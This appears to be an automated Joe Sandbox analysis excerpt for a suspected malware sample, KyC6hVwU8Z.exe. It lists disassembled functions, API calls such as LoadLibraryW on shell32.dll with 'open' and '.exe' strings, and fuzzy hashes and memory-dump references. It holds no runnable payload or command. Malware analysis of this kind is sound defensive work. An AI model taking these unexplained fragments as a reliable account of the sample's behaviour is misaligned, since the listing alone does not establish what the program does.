Opcode Fuzzy Hash: 7e7479f29bae8e14a6c7101f7043941f39fdf68363cd6439045a0f5eb1d7ea46
Instruction Fuzzy Hash: 9A21DA72A05315ABD731AB24FC89BBA376AAB527A0F264110FF15A7291DB30ED11C7D0

Function 00202BCD Relevance: 9.3, APIs: 6, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2787465077.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000005.00000002.2787447126.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787519908.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787546531.0000000000213000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787561928.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787588109.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc6f44d4a0c35a7a9419588a441cf8e4d5cf5fb262e721d1bfc5b3a1f5862e29
Instruction ID: 15553fdd27fae41e34246ac9e96d825d5c9e1cc609f4889cd08d691f0a80e8bc
Opcode Fuzzy Hash: dc6f44d4a0c35a7a9419588a441cf8e4d5cf5fb262e721d1bfc5b3a1f5862e29
Instruction Fuzzy Hash: B0B12370A2430AEFDB11DF98D889BBD7BB4AF59340F14414AE909973D3CB70A966CB50

Function 00208ED6 Relevance: 9.2, APIs: 6, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,7FFFFFFF,?,00208EC1,?,?,?,?,?,?,?,?,?,?), ref: 00208F7C
__freea.LIBCMT ref: 00209111
__freea.LIBCMT ref: 00209117
__freea.LIBCMT ref: 0020914D
__freea.LIBCMT ref: 00209153
__freea.LIBCMT ref: 00209163

Memory Dump Source

Source File: 00000005.00000002.2787465077.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000005.00000002.2787447126.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787519908.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787546531.0000000000213000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787561928.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787588109.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: __freea$Info
String ID:
API String ID: 541289543-0
Opcode ID: 8b832d1d506d2df978fec610bfb98906d91ffba3e884a59f02aa077738e1105a
Instruction ID: ae668b53a803f4ffc2ea79357f5d6b578497e5fd8cc0e79f213e8add3383fbf7
Opcode Fuzzy Hash: 8b832d1d506d2df978fec610bfb98906d91ffba3e884a59f02aa077738e1105a
Instruction Fuzzy Hash: B1712A32A24307ABDF209F648C89BEFB7BA9F49310F580055E959A72C3DB359C60CB50

Function 001FBC13 Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,001FBC0A,001F6B5D,001F6204), ref: 001FBC21
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 001FBC2F
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 001FBC48
SetLastError.KERNEL32(00000000,001FBC0A,001F6B5D,001F6204), ref: 001FBC9A

Memory Dump Source

Source File: 00000005.00000002.2787465077.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000005.00000002.2787447126.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787519908.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787546531.0000000000213000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787561928.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787588109.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 8e7d3a81e70e40e49b9a895cd0701c3a84a9d73d3c502c2c36b15bed2960a821
Instruction ID: ae2a8d38c5f8b7b920137b5d1c4a7f10f6e524f565cc4d4adfabdc587c5fa47b
Opcode Fuzzy Hash: 8e7d3a81e70e40e49b9a895cd0701c3a84a9d73d3c502c2c36b15bed2960a821
Instruction Fuzzy Hash: 0301473621D31EAEE7246B78FCC95B72B4DEB22334320422AF314451F2EF518D119954

Function 001F978E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,9C2BD565,?,00000000,0020ADB8,000000FF,?,001F984F,001F9736,?,001F98EB,00000000), ref: 001F97C3
GetProcAddress.KERNEL32(00000000,CorExitProcess,?,00000000,0020ADB8,000000FF,?,001F984F,001F9736,?,001F98EB,00000000), ref: 001F97D5
FreeLibrary.KERNEL32(00000000,?,00000000,0020ADB8,000000FF,?,001F984F,001F9736,?,001F98EB,00000000), ref: 001F97F7

Strings

mscoree.dll, xrefs: 001F97BC
CorExitProcess, xrefs: 001F97CD

Memory Dump Source

Source File: 00000005.00000002.2787465077.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000005.00000002.2787447126.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787519908.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787546531.0000000000213000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787561928.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787588109.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: d863c17a7906f23674dcf5d109af431559743567f4076b92d989f4d9d1f8fda6
Instruction ID: fbd74b4915c671373563b4475a829908d30f4deb52521b1aacac569b045fbef9
Opcode Fuzzy Hash: d863c17a7906f23674dcf5d109af431559743567f4076b92d989f4d9d1f8fda6
Instruction Fuzzy Hash: 65018F31A64719AFDB11AF40EC49FEEB7B9FB08B54F004625F911A26D0DBB49910CA80

Function 001FC8D8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 114COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,001FC7DE,?,?,00000000,00000000,00000000,?), ref: 001FC8FD
CatchIt.LIBVCRUNTIME ref: 001FC9E3

Strings

RCC, xrefs: 001FC917
MOC, xrefs: 001FC90F

Memory Dump Source

Source File: 00000005.00000002.2787465077.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000005.00000002.2787447126.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787519908.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787546531.0000000000213000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787561928.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787588109.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: 4e9f73c920b6bf5fbf3c6bd98277680e5754fbdd9e3286fd76468f205b2da612
Instruction ID: 70e766fb775ac82ea3f65e86ac2ef8d6cbeb7a5d0b24fdb324b7272fb8c687ca
Opcode Fuzzy Hash: 4e9f73c920b6bf5fbf3c6bd98277680e5754fbdd9e3286fd76468f205b2da612
Instruction Fuzzy Hash: E1416A7190020DAFCF15DF98CE81AEEBBB5FF58304F198099FA08A7211D375A950EB91

Function 00203A51 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,00203AED,?,?,9C2BD565,?,?,?,00203935,00000000,FlsAlloc,0020C824,0020C82C), ref: 00203A5E
GetLastError.KERNEL32(?,00203AED,?,?,9C2BD565,?,?,?,00203935,00000000,FlsAlloc,0020C824,0020C82C,?,?,001FBBC1), ref: 00203A68
LoadLibraryExW.KERNEL32(?,00000000,00000000,?,?,?), ref: 00203A90

Strings

api-ms-, xrefs: 00203A75

Memory Dump Source

Source File: 00000005.00000002.2787465077.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000005.00000002.2787447126.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787519908.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787546531.0000000000213000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787561928.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787588109.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 99a9ba2c857a2b1b58b722a020a479676f7ef447d3192fd73582618707ca1a3f
Instruction ID: d489261f867343f9cd2b96e765e2bd6a54ab14751c4e13f28f67eaa673624d08
Opcode Fuzzy Hash: 99a9ba2c857a2b1b58b722a020a479676f7ef447d3192fd73582618707ca1a3f
Instruction Fuzzy Hash: C0E01231790307BBEB105F50EC0EB9C3A5DAB21B81F148021FA4CA44E2DBB199718684

Function 0020440F Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 00204472

Part of subcall function 0020177F: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00203EB8,?,00000000,-00000008), ref: 002017E0

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 002046C4
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0020470A
GetLastError.KERNEL32 ref: 002047AD

Memory Dump Source

Source File: 00000005.00000002.2787465077.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000005.00000002.2787447126.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787519908.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787546531.0000000000213000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787561928.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787588109.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 982c529239fcc42d752957d626d37abfcd68181fb065a36bb841b254a916fefb
Instruction ID: 474fdaf177d491912a76729a45398bd707c291c242c58ea62064222a719cdede
Opcode Fuzzy Hash: 982c529239fcc42d752957d626d37abfcd68181fb065a36bb841b254a916fefb
Instruction Fuzzy Hash: 5CD18CB5D10258AFCB15DFA8D880AEDBBB5EF49304F24812AE515EB392D730A951CB50

Function 001FC2DC Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 001FC3A3
___AdjustPointer.LIBCMT ref: 001FC3C6
___AdjustPointer.LIBCMT ref: 001FC462

Memory Dump Source

Source File: 00000005.00000002.2787465077.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000005.00000002.2787447126.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787519908.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787546531.0000000000213000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787561928.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787588109.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: d6d2c5abb3fe6a3300805ddf875bda53af8784694bfc48b3d0fafd1162c7df9f
Instruction ID: 25523f4bb4af25343e0612b5bdd1fa146c7d29d4428de6f56dc4ffe93340189f
Opcode Fuzzy Hash: d6d2c5abb3fe6a3300805ddf875bda53af8784694bfc48b3d0fafd1162c7df9f
Instruction Fuzzy Hash: D051E572A0420EEFDB298F54DA51BBA77A4FF54750F14802DEA4587292D731EC90EBD0

Function 00200B25 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 0020177F: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00203EB8,?,00000000,-00000008), ref: 002017E0

GetLastError.KERNEL32(?,?,?,00000000,00000000,?,00200ECB,?,?,?,00000000), ref: 00200B89
__dosmaperr.LIBCMT ref: 00200B90
GetLastError.KERNEL32(00000000,00200ECB,?,?,00000000,?,?,?,00000000,00000000,?,00200ECB,?,?,?,00000000), ref: 00200BCA
__dosmaperr.LIBCMT ref: 00200BD1

Memory Dump Source

Source File: 00000005.00000002.2787465077.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000005.00000002.2787447126.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787519908.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787546531.0000000000213000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787561928.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787588109.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: f0b229236b61ce8ae19f11e073e5dba485064a43ea7c32037eda5b699ece0d85
Instruction ID: 83075c85b41067b3e9aacc1bd67c6efb39de791135cd5fa92f09814ef37b434f
Opcode Fuzzy Hash: f0b229236b61ce8ae19f11e073e5dba485064a43ea7c32037eda5b699ece0d85
Instruction Fuzzy Hash: 67219871624706AFEB20AF6588C1E6BB7A9FF5036CF108529F91997193D770EC608B50

Function 002010C4 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2787465077.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000005.00000002.2787447126.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787519908.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787546531.0000000000213000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787561928.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787588109.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: faeb12654ad50ae3fa778439832d25645dc5d73359098471b777a0323b5fd3a2
Instruction ID: 41598626b9ff9801fa49adc3595bf943cda2f66de2e4647ac5b2d9ccfd7509e7
Opcode Fuzzy Hash: faeb12654ad50ae3fa778439832d25645dc5d73359098471b777a0323b5fd3a2
Instruction Fuzzy Hash: 8B212331620306BFDB24AF64CC81D6BB3AAEF003647108624FA59C7692DB30EC31CB90

Function 0020187B Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00201883

Part of subcall function 0020177F: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00203EB8,?,00000000,-00000008), ref: 002017E0

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 002018BB
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 002018DB

Memory Dump Source

Source File: 00000005.00000002.2787465077.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000005.00000002.2787447126.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787519908.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787546531.0000000000213000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787561928.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787588109.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 6eb472d55a6a3d164163d109e807d4f12a2c8b08f5c873531baed474d02dc3b7
Instruction ID: 579ea8b8a7b5e5474660073eff993a6e46270986fd4cd1a964473d06cd6f0955
Opcode Fuzzy Hash: 6eb472d55a6a3d164163d109e807d4f12a2c8b08f5c873531baed474d02dc3b7
Instruction Fuzzy Hash: C211C4B652171EBEE7212BB15C8DCBF6AACDE553987100124F601D2152EF708E3245B1

Function 0020941B Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,0020838E,00000000,00000001,?,?,?,00204801,?,00000000,00000000), ref: 00209432
GetLastError.KERNEL32(?,0020838E,00000000,00000001,?,?,?,00204801,?,00000000,00000000,?,?,?,00204147,?), ref: 0020943E

Part of subcall function 00209490: CloseHandle.KERNEL32(FFFFFFFE,0020944E,?,0020838E,00000000,00000001,?,?,?,00204801,?,00000000,00000000,?,?), ref: 002094A0

___initconout.LIBCMT ref: 0020944E

Part of subcall function 00209470: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0020940C,0020837B,?,?,00204801,?,00000000,00000000,?), ref: 00209483

WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,0020838E,00000000,00000001,?,?,?,00204801,?,00000000,00000000,?), ref: 00209463

Memory Dump Source

Source File: 00000005.00000002.2787465077.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000005.00000002.2787447126.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787519908.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787546531.0000000000213000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787561928.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787588109.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 29c1ce1defe32ce83b69c737ea4f81ac15cdd1ca01563f4b8ef969d926deac47
Instruction ID: 5996d3e0adb3c8d94a004a71793b4c36a6dbe23cd04e64c8d65e44ec51da32f9
Opcode Fuzzy Hash: 29c1ce1defe32ce83b69c737ea4f81ac15cdd1ca01563f4b8ef969d926deac47
Instruction Fuzzy Hash: 24F0AC36510259BBCF225FA5EC0CAD93F67FF183A1B158110FA1995172CA328971DB91

Function 001FC14C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 001FC155

Strings

csm, xrefs: 001FC177
csm, xrefs: 001FC1E8

Memory Dump Source

Source File: 00000005.00000002.2787465077.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000005.00000002.2787447126.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787519908.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787546531.0000000000213000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787561928.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787588109.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 213d7425d84640b4298180d6770058ac37cf87002bf707635e688a450808493e
Instruction ID: 9f2d642420871e1a6dd93d231a555c783efac28036c81bd0bf779cbd4644c196
Opcode Fuzzy Hash: 213d7425d84640b4298180d6770058ac37cf87002bf707635e688a450808493e
Instruction Fuzzy Hash: 5631D17240021DDBCF268F94DE848BABB76FF09315B18855AFA5849122D332DCA1EBC1

Function 001F4D76 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 001F55D3
___raise_securityfailure.LIBCMT ref: 001F56BB

Part of subcall function 001F664C: RaiseException.KERNEL32(E06D7363,00000001,00000003,001F55C7,?,?,?,?,001F55C7,?,0021265C), ref: 001F66AC

Strings

E!, xrefs: 001F56B6

Memory Dump Source

Source File: 00000005.00000002.2787465077.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000005.00000002.2787447126.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787519908.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787546531.0000000000213000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787561928.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787588109.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: ExceptionFeaturePresentProcessorRaise___raise_securityfailure
String ID: E!
API String ID: 3749517692-107689196
Opcode ID: dac087c34ff7576d5e00bfcd85bee8d786dc332cfe85a28ccb94a7ead3e0404a
Instruction ID: 2da173a89ab42ee786d4a2cd5babeda522736d9b11b80612cc9a42c152e95e72
Opcode Fuzzy Hash: dac087c34ff7576d5e00bfcd85bee8d786dc332cfe85a28ccb94a7ead3e0404a
Instruction Fuzzy Hash: 4C313EB4501348ABD704EF64FC49AD57BB9BB39718F50C12AEA0CC72B1EB709645CB84

Function 001F4DE3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 001F55D3
___raise_securityfailure.LIBCMT ref: 001F56BB

Strings

E!, xrefs: 001F56B6

Memory Dump Source

Source File: 00000005.00000002.2787465077.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000005.00000002.2787447126.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787519908.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787546531.0000000000213000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787561928.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787588109.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: E!
API String ID: 3761405300-107689196
Opcode ID: 908abb6f71459b64a90750780b2ab63d7c38c05408fb0b8e0d415393145eece0
Instruction ID: deacf76a3bd23547dc13c7796ed6b05f6a1823af45ab754a53bc19cdaa4943f3
Opcode Fuzzy Hash: 908abb6f71459b64a90750780b2ab63d7c38c05408fb0b8e0d415393145eece0
Instruction Fuzzy Hash: 9A21E4B4501344EBD710EF55F889A947BEABB7A719F50C12AEA0CCB3A0EBB055418F48

Analysis Process: KyC6hVwU8Z.exePID: 2292, Parent PID: 6176COMMON

Execution Graph

Execution Coverage:	8.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	2000
Total number of Limit Nodes:	54

Executed Functions

Function 004038C0 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 401
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE(shell32.dll), ref: 0040390A

Strings

open, xrefs: 00403E04, 00403E25
.exe, xrefs: 004039E4, 004039F5, 00403C28, 00403C39
shell32.dll, xrefs: 00403905

Memory Dump Source

Source File: 00000006.00000002.2796508370.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_KyC6hVwU8Z.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: .exe$open$shell32.dll
API String ID: 1029625771-3690275032
Opcode ID: d7bff8237f440146d83deb62151c971c0c1b597db8188bcc00e7c685d7fe324e
Instruction ID: 418ef4dc6db39ef8a4e30a2a01dacbe7d681e2b7d77002ffff7f80637844b085
Opcode Fuzzy Hash: d7bff8237f440146d83deb62151c971c0c1b597db8188bcc00e7c685d7fe324e
Instruction Fuzzy Hash: 54E13A312083409BE718CF28CC45B6FBBE5BF85305F24462DF489AB2D2D779E6458B5A

Function 0041C196 Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041BCC6: GetOEMCP.KERNEL32(00000000,?,?,00000000,?), ref: 0041BCF1

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,0041BFDD,?,00000000,?,00000000,?), ref: 0041C1F7
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,0041BFDD,?,00000000,?,00000000,?), ref: 0041C239

Memory Dump Source

Source File: 00000006.00000002.2796508370.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_KyC6hVwU8Z.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 828569ccb8714ae48c68675b61d17cc33801355f1d7dcceba0b097672ed0b71e
Instruction ID: 9d2c2a29c4c478eab1b1f1167368467c00d7c014d6dc0482c332f282e065d277
Opcode Fuzzy Hash: 828569ccb8714ae48c68675b61d17cc33801355f1d7dcceba0b097672ed0b71e
Instruction Fuzzy Hash: 4F512570E802448FDB24DFB6CC806EBBBE4EF91304F1485AFD09687251D7789982CB99

Function 00414A96 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00414AE2
GetFileType.KERNELBASE(00000000), ref: 00414AF4

Memory Dump Source

Source File: 00000006.00000002.2796508370.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_KyC6hVwU8Z.jbxd

Yara matches

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 14da27bdb5d952759cc947a18c1f6313485b17a09da5127208cbfccaf6a1781a
Instruction ID: 68df3f11dd2f645efc31e1e90aadc3e75d180b75955679e0b2236dab09e8ba97
Opcode Fuzzy Hash: 14da27bdb5d952759cc947a18c1f6313485b17a09da5127208cbfccaf6a1781a
Instruction Fuzzy Hash: 141175712087514AC7308E3E9C887637AD4ABD6370B39071BD1B6962F1C328E9C6965D

Function 00414094 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

